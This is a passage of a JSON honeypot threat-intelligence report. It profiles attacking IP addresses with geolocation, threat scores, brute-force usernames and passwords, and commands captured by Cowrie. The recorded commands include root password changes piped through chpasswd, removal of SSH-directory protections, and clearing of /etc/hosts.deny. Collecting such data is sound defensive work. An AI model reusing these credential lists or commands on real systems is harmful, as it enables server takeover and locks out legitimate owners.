        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Frappe04!\\nAAwbwQRshUMe\\nAAwbwQRshUMe\\n\"|passwd",
        "echo \"root:9tT7pvJw0nYo\"|chpasswd|bash",
        "echo \"root:jgi57r8esrtv\"|chpasswd|bash",
        "echo -e \"Frappe04!\\nAAwbwQRshUMe\\nAAwbwQRshUMe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 215025,
      "as_org": "Net.com Shpk",
      "threat_score": 46.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 545,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:14:40.581000+00:00",
        "last_seen_30d": "2026-04-28T14:31:37.712000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 115
      }
    },
    "27.79.5.153": {
      "attack_count": 417,
      "first_seen": "2026-04-07T06:32:15.040Z",
      "last_seen": "2026-04-07T06:57:54.311Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "monitor",
        "*****",
        "am",
        "anton",
        "backup",
        "belkinstyle",
        "bin",
        "brenda",
        "carol",
        "cpanel",
        "demo",
        "developer",
        "dubai",
        "ftp",
        "ftpuser",
        "george",
        "geral"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "P@ssw0rd",
        "*****",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "111111",
        "123",
        "1234",
        "123456",
        "12345678",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "?",
        "Deadstar!",
        "abc123",
        "admin01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 595,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T06:32:15.040000+00:00",
        "last_seen_30d": "2026-04-07T06:59:03.003000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 417,
        "Suricata": 178
      }
    },
    "116.99.172.0": {
      "attack_count": 412,
      "first_seen": "2026-04-13T12:48:41.094Z",
      "last_seen": "2026-04-13T13:25:21.986Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "ftp",
        "monitor",
        "test",
        "ubnt",
        "1234",
        "123456",
        "ace",
        "admian",
        "backup",
        "bin",
        "btf",
        "cisco",
        "cpanel",
        "db2inst2",
        "demo",
        "developer",
        "george"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "password",
        "1234",
        "P@ssw0rd",
        "admin",
        "0l0ctyQh243O63uD",
        "1",
        "123",
        "12345678",
        "321start",
        "72b1bd75ac87852a",
        "91482d",
        "@",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcd1234",
        "ace",
        "admin1",
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 598,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T12:48:41.094000+00:00",
        "last_seen_30d": "2026-04-13T13:26:30.719000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 412,
        "Suricata": 186
      }
    },
    "194.164.195.247": {
      "attack_count": 399,
      "first_seen": "2026-04-14T06:14:34.691Z",
      "last_seen": "2026-04-14T06:50:21.510Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "odoo",
        "sopuser",
        "appuser",
        "dev",
        "gitea",
        "kira",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234Qwert",
        "1QAZ2wsx..",
        "1qaz2wsx",
        "4rfv$RFV",
        "830922",
        "A123456/",
        "Aa123123.",
        "Changeme_123",
        "Default2026",
        "Dev30",
        "Frappe17!",
        "Odoo13!",
        "Odoo27",
        "Password12345",
        "QWER1234qwer",
        "Redhat",
        "Root2018!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Changeme_123\\nyYZp7oeeLbrS\\nyYZp7oeeLbrS\\n\"|passwd",
        "echo \"asdzxc\\n7VUgPtuXcU19\\n7VUgPtuXcU19\\n\"|passwd",
        "echo \"root:scMGFnYnhvrL\"|chpasswd|bash",
        "echo \"root:tgyQ4KvFVze6\"|chpasswd|bash",
        "echo -e \"Changeme_123\\nyYZp7oeeLbrS\\nyYZp7oeeLbrS\"|passwd|bash",
        "echo -e \"asdzxc\\n7VUgPtuXcU19\\n7VUgPtuXcU19\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 472,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T06:14:34.691000+00:00",
        "last_seen_30d": "2026-04-14T06:51:23.079000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 73
      }
    },
    "171.231.198.119": {
      "attack_count": 395,
      "first_seen": "2026-04-18T12:01:20.325Z",
      "last_seen": "2026-04-18T12:40:34.862Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "monitor",
        "support",
        "ubnt",
        "*****",
        "1234",
        "123456",
        "admian",
        "am",
        "anton",
        "ashish",
        "auto",
        "backup",
        "belkinstyle",
        "brenda",
        "cf1c22",
        "client",
        "cpanel"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin",
        "password",
        "12345",
        "*****",
        "039715582364317",
        "12345678",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "Deadstar!",
        "abc123",
        "admin01",
        "admin1",
        "admin123",
        "administrator",
        "aerohive",
        "am"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 566,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T12:01:20.325000+00:00",
        "last_seen_30d": "2026-04-18T12:41:35.828000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 395,
        "Suricata": 171
      }
    },
    "103.25.208.43": {
      "attack_count": 388,
      "first_seen": "2026-04-10T17:21:00.274Z",
      "last_seen": "2026-04-19T06:15:38.583Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "bot",
        "claude",
        "git",
        "postgres",
        "sammy",
        "server",
        "test1",
        "botuser",
        "caduser",
        "es",
        "jenkins",
        "justine",
        "loginuser",
        "miner",
        "omm",
        "peuser",
        "scott"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "0",
        "123abc",
        "123mudar",
        "1qaz2wsx",
        "AAzz112233",
        "Admin123456789!@",
        "BBzz000",
        "Claude7",
        "DDcc1234",
        "Design@123",
        "Huawei12#$",
        "Password1",
        "QWERTYUIO123",
        "Qazwsx12#$",
        "Qazwsx1234.",
        "Root2022.",
        "Root999!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123abc\\nH14k6hkMhH80\\nH14k6hkMhH80\\n\"|passwd",
        "echo \"1qaz2wsx\\n0hBp8qQruJyR\\n0hBp8qQruJyR\\n\"|passwd",
        "echo -e \"123abc\\nH14k6hkMhH80\\nH14k6hkMhH80\"|passwd|bash",
        "echo -e \"1qaz2wsx\\n0hBp8qQruJyR\\n0hBp8qQruJyR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 132653,
      "as_org": "PT Transdata Sejahtera",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 514,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:21:00.274000+00:00",
        "last_seen_30d": "2026-04-19T06:16:41.494000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 388,
        "Suricata": 126
      }
    },
    "27.79.41.201": {
      "attack_count": 372,
      "first_seen": "2026-04-24T19:32:12.314Z",
      "last_seen": "2026-04-24T19:56:43.176Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "support",
        "test",
        "ubnt",
        "123456",
        "admian",
        "am",
        "ashish",
        "auto",
        "belkinstyle",
        "bin",
        "brenda",
        "btf",
        "client",
        "developer",
        "dubai",
        "ftp",
        "geral"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "password",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "112233",
        "123",
        "1234",
        "12345678",
        "123456789",
        "321start",
        "72ca06",
        "Deadstar!",
        "abc123",
        "abcdefg",
        "admin123",
        "administrator",
        "aerohive"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 548,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T19:32:12.314000+00:00",
        "last_seen_30d": "2026-04-24T19:57:48.546000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 176
      }
    },
    "146.190.109.81": {
      "attack_count": 330,
      "first_seen": "2026-04-17T09:58:53.063Z",
      "last_seen": "2026-04-17T10:40:17.519Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "postgres",
        "ubuntu",
        "Azure",
        "deploy",
        "dev",
        "lee",
        "mk",
        "n8n",
        "odoo",
        "server",
        "test1",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345679",
        "123456Aa",
        "123asd!@#ASD",
        "3edc@WSX!QAZ",
        "Abc@123456789",
        "Dev28!",
        "Frappe10!",
        "N8n!2025",
        "Pa55word",
        "Root24!",
        "YuLiShoping123...",
        "aaa",
        "admin17!",
        "mk123",
        "odoo@",
        "qazwsx123456789@",
        "qazwsx2020#$",
        "qwe"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qwe\\nTUYTON2XptQj\\nTUYTON2XptQj\\n\"|passwd",
        "echo \"root:GLzQrV8yewB1\"|chpasswd|bash",
        "echo \"root:WpgfeggbmIXh\"|chpasswd|bash",
        "echo -e \"qwe\\nTUYTON2XptQj\\nTUYTON2XptQj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T09:58:53.063000+00:00",
        "last_seen_30d": "2026-04-17T10:41:21.966000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 70
      }
    },
    "165.154.6.116": {
      "attack_count": 330,
      "first_seen": "2026-04-17T08:04:50.054Z",
      "last_seen": "2026-04-17T08:48:19.355Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "zhangsan",
        "admin",
        "demo",
        "deploy",
        "ftp1user",
        "git",
        "media",
        "nodered",
        "s",
        "teamspeak",
        "test1",
        "user",
        "vyatta"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "123",
        "12345",
        "123456789",
        "1234567890Qwertyuiop",
        "1QAZ2wsx!",
        "Qazwsx12345!@#",
        "QweAsdZxc",
        "Root11111@123",
        "Root123321@",
        "Ss123456",
        "Teamspeak!@",
        "XXaa112233",
        "brian123",
        "ftp1user",
        "git!2025",
        "media",
        "nodered"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nKZnSvmAhr3UI\\nKZnSvmAhr3UI\\n\"|passwd",
        "echo \"root:AOJhilBntfX4\"|chpasswd|bash",
        "echo \"root:llHQR4q5ehTJ\"|chpasswd|bash",
        "echo -e \"123\\nKZnSvmAhr3UI\\nKZnSvmAhr3UI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T08:04:50.054000+00:00",
        "last_seen_30d": "2026-04-17T08:49:22.336000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "103.172.204.83": {
      "attack_count": 321,
      "first_seen": "2026-04-14T00:36:26.459Z",
      "last_seen": "2026-04-14T01:35:32.200Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sunil",
        "test1",
        "user",
        "awsftpuser",
        "dev",
        "ftpuser",
        "marina",
        "mis",
        "postgres",
        "runner",
        "seal",
        "ubuntu",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "456852",
        "QAZxsw123",
        "Qazwsx111#$",
        "Qwerty_123456",
        "Zxc123!@#",
        "abc1234",
        "admin",
        "awsftpuser",
        "dark",
        "dev2",
        "ftpuser123456",
        "marina",
        "mis",
        "postgres7",
        "qazwsx654321!@#",
        "qwe123#",
        "root1@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:qBT7uNT7lj4a\"|chpasswd|bash",
        "echo \"sunil123\\nPOa9oiiC04FY\\nPOa9oiiC04FY\\n\"|passwd",
        "echo \"test\\ngzp307460y6r\\ngzp307460y6r\\n\"|passwd",
        "echo -e \"sunil123\\nPOa9oiiC04FY\\nPOa9oiiC04FY\"|passwd|bash",
        "echo -e \"test\\ngzp307460y6r\\ngzp307460y6r\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 387,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:36:26.459000+00:00",
        "last_seen_30d": "2026-04-14T01:36:41.595000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 321,
        "Suricata": 66
      }
    },
    "39.123.249.114": {
      "attack_count": 304,
      "first_seen": "2026-04-01T22:40:47.740Z",
      "last_seen": "2026-04-01T23:53:02.703Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3e4r..",
        "1qaz2wsx~",
        "AB1234",
        "ABC@2026",
        "Adm!n",
        "Ar123456",
        "Ht123456@",
        "P@$$word3",
        "QWERTY123",
        "QWer12",
        "Software@123",
        "a5351237",
        "angel123",
        "bigpenis",
        "deftones",
        "ln123456",
        "rooot",
        "simpson"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:F2fHbKlvA82M\"|chpasswd|bash",
        "echo \"root:GJvbt1xFbsfM\"|chpasswd|bash",
        "echo \"root:p0rJCTKkSk28\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T22:40:47.740000+00:00",
        "last_seen_30d": "2026-04-01T23:54:10.812000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "103.76.120.225": {
      "attack_count": 263,
      "first_seen": "2026-04-08T17:04:57.650Z",
      "last_seen": "2026-04-08T17:49:58.634Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "git",
        "user",
        "345gs5662d34",
        "ali",
        "ubuntu",
        "admin",
        "bot",
        "frappe",
        "hadoop",
        "mohsen",
        "nami",
        "postgres",
        "precio01",
        "readonly",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc4rfv",
        "112233ee",
        "123",
        "123!@#qweQWE",
        "123456",
        "1234567890",
        "1234qwer",
        "20252025",
        "A123456+",
        "Bot29",
        "Frappe23",
        "QQdd112233",
        "Qwe!@#123",
        "Qwerty#123",
        "User03!",
        "Vv@123456",
        "linux123",
        "mohsen"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123!@#qweQWE\\nYaouuB7xk2Ue\\nYaouuB7xk2Ue\\n\"|passwd",
        "echo \"qazwsx\\n7OHFVBy8e4Rt\\n7OHFVBy8e4Rt\\n\"|passwd",
        "echo -e \"123!@#qweQWE\\nYaouuB7xk2Ue\\nYaouuB7xk2Ue\"|passwd|bash",
        "echo -e \"qazwsx\\n7OHFVBy8e4Rt\\n7OHFVBy8e4Rt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T17:04:57.650000+00:00",
        "last_seen_30d": "2026-04-08T17:50:58.975000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "159.223.54.90": {
      "attack_count": 263,
